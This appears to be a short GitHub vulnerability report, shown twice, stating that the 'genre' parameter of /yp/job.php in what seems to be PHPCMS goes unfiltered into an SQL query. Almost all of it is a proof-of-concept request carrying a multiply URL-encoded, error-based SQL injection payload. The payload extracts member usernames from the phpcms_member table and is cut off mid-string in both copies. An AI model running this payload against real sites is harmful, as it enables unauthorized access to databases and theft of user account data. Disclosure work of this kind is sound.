genre parameters pass to sql command without filter
poc: GET /yp/job.php?action=applylist&inputtime=0&station=5&genre=%252561%252527%252520%252561%25256e%252564%252520%252528%252573%252565%25256c%252565%252563%252574%252520%252531%252520%252566%252572%25256f%25256d%252528%252573%252565%25256c%252565%252563%252574%252520%252563%25256f%252575%25256e%252574%252528%25252a%252529%25252c%252563%25256f%25256e%252563%252561%252574%252528%252528%252573%252565%25256c%252565%252563%252574%252520%252528%252573%252565%25256c%252565%252563%252574%252520%252528%252573%252565%25256c%252565%252563%252574%252520%252563%25256f%25256e%252563%252561%252574%252528%252530%252578%252537%252565%25252c%252530%252578%252532%252537%25252c%252570%252568%252570%252563%25256d%252573%25255f%25256d%252565%25256d%252562%252565%252572%25252e%252575%252573%252565%252572%25256e%252561%25256d%252565%25252c%252530%252578%252532%252537%25252c%252530%252578%252537%252565%252529%252520%252566%252572%25256f%25256d%252520%252570%252568%252570%252563%25256d%252573%25255f%25256d%252565%25256d%252562%252565%252572%252520%25256c%252569%25256d%252569%252574%252520%252530%25252c%252531%252529%252529%252520%252566%252572%25256f%25256d%252520%252569%25256e%252566%25256f%252572%25256d%252561%252574%252569%25256f%25256e%25255f%252573%252563%252568%252565%25256d%252561%25252e%252574%252561%252562%25256c%252565%252573%252520%25256c%252569%25256d%252569%252574%252520%252530%25252c%252531%252529%2525
The text was updated successfully, but these errors were encountered:
/yp/job.php

genre parameters pass to sql command without filter
poc:
GET /yp/job.php?action=applylist&inputtime=0&station=5&genre=%252561%252527%252520%252561%25256e%252564%252520%252528%252573%252565%25256c%252565%252563%252574%252520%252531%252520%252566%252572%25256f%25256d%252528%252573%252565%25256c%252565%252563%252574%252520%252563%25256f%252575%25256e%252574%252528%25252a%252529%25252c%252563%25256f%25256e%252563%252561%252574%252528%252528%252573%252565%25256c%252565%252563%252574%252520%252528%252573%252565%25256c%252565%252563%252574%252520%252528%252573%252565%25256c%252565%252563%252574%252520%252563%25256f%25256e%252563%252561%252574%252528%252530%252578%252537%252565%25252c%252530%252578%252532%252537%25252c%252570%252568%252570%252563%25256d%252573%25255f%25256d%252565%25256d%252562%252565%252572%25252e%252575%252573%252565%252572%25256e%252561%25256d%252565%25252c%252530%252578%252532%252537%25252c%252530%252578%252537%252565%252529%252520%252566%252572%25256f%25256d%252520%252570%252568%252570%252563%25256d%252573%25255f%25256d%252565%25256d%252562%252565%252572%252520%25256c%252569%25256d%252569%252574%252520%252530%25252c%252531%252529%252529%252520%252566%252572%25256f%25256d%252520%252569%25256e%252566%25256f%252572%25256d%252561%252574%252569%25256f%25256e%25255f%252573%252563%252568%252565%25256d%252561%25252e%252574%252561%252562%25256c%252565%252573%252520%25256c%252569%25256d%252569%252574%252520%252530%25252c%252531%252529%2525The text was updated successfully, but these errors were encountered: